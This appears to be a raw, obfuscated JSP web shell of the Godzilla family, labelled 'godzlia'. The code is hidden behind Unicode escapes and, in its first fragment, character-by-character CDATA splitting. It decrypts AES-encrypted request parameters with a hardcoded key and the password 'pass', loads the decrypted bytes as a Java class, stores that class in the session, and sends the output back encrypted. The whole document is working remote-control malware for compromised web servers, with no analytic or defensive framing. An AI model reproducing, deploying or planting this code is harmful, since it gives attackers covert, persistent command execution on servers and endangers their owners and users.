><![CDATA[o]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[(]]><![CDATA[)]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[r]]><![CDATA[u]]><![CDATA[e]]><![CDATA[)]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[.]]><![CDATA[s]]><![CDATA[u]]><![CDATA[b]]><![CDATA[s]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[{]]><![CDATA[}]]></jsp:scriptlet></jsp:root>
godzlia
<%! \u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0078\u0063\u003d"3c6e0b8a9c15224a"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0070\u0061\u0073\u0073\u003d"pass"\u003b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u003d\u006d\u0064\u0035\u0028\u0070\u0061\u0073\u0073\u002b\u0078\u0063\u0029\u003b\u0020\u0063\u006c\u0061\u0073\u0073\u0020\u0058\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0058\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u007a\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u007a\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0051\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0063\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0063\u0062\u002c\u0020\u0030\u002c\u0020\u0063\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u0020\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0078\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0073\u002c\u0062\u006f\u006f\u006c\u0065\u0061\u006e\u0020\u006d\u0029\u007b\u0020\u0074\u0072\u0079\u007b\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u0041\u0045\u0053")\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u006d\u003f\u0031\u003a\u0032\u002c\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u0078\u002e\u0063\u0072\u0079\u0070\u0074\u006f\u002e\u0073\u0070\u0065\u0063\u002e\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u0078\u0063\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c"\u0041\u0045\u0053"\u0029\u0029\u003b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u0073\u0029\u003b\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u006e\u0075\u006c\u006c\u003b\u0020\u007d\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006d\u0064\u0035\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0073\u0029\u0020\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u0020\u006d\u003b\u006d\u0020\u003d\u0020\u006a\u0061\u0076\u0061\u002e\u0073\u0065\u0063\u0075\u0072\u0069\u0074\u0079\u002e\u004d\u0065\u0073\u0073\u0061\u0067\u0065\u0044\u0069\u0067\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028"\u004d\u0044\u0035"\u0029\u003b\u006d\u002e\u0075\u0070\u0064\u0061\u0074\u0065\u0028\u0073\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0020\u0030\u002c\u0020\u0073\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0028\u0029\u0029\u003b\u0072\u0065\u0074\u0020\u003d\u0020\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006d\u0061\u0074\u0068\u002e\u0042\u0069\u0067\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0031\u002c\u0020\u006d\u002e\u0064\u0069\u0067\u0065\u0073\u0074\u0028\u0029\u0029\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u002e\u0074\u006f\u0055\u0070\u0070\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0072\u0065\u0074\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"\u0067\u0065\u0074\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encodeToString"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0029\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"encode"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0045\u006e\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d\u0020\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0073\u0074\u0061\u0074\u0069\u0063\u0020\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u0062\u0073\u0029\u0020\u0074\u0068\u0072\u006f\u0077\u0073\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u007b\u0043\u006c\u0061\u0073\u0073\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u006e\u0075\u006c\u006c\u003b\u0074\u0072\u0079\u0020\u007b\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u006a\u0061\u0076\u0061.\u0075\u0074\u0069\u006c.\u0042\u0061\u0073\u0065\u0036\u0034"\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"getDecoder"\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0020\u006e\u0075\u006c\u006c\u0029\u003b\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u0065\u0063\u006f\u0064\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028"\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072"\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028"decodeBuffer"\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d%><%\u0074\u0072\u0079\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0064\u0061\u0074\u0061\u003d\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0070\u0061\u0073\u0073\u0029\u0029\u003b\u0064\u0061\u0074\u0061\u003d\u0078\u0028\u0064\u0061\u0074\u0061\u002c\u0020\u0066\u0061\u006c\u0073\u0065\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u003d\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u002c\u006e\u0065\u0077\u0020\u0058\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0051\u0028\u0064\u0061\u0074\u0061\u0029\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"parameters"\u002c\u0064\u0061\u0074\u0061\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0061\u0072\u0072\u004f\u0075\u0074\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0066\u003d\u0028\u0028\u0043\u006c\u0061\u0073\u0073\u0029\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028"payload"\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0031\u0036\u0029\u0029\u003b\u0066\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0078\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u002e\u0074\u006f\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u0028\u0029\u002c\u0020\u0074\u0072\u0075\u0065\u0029\u0029\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u0029\u003b\u007d\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u007d%>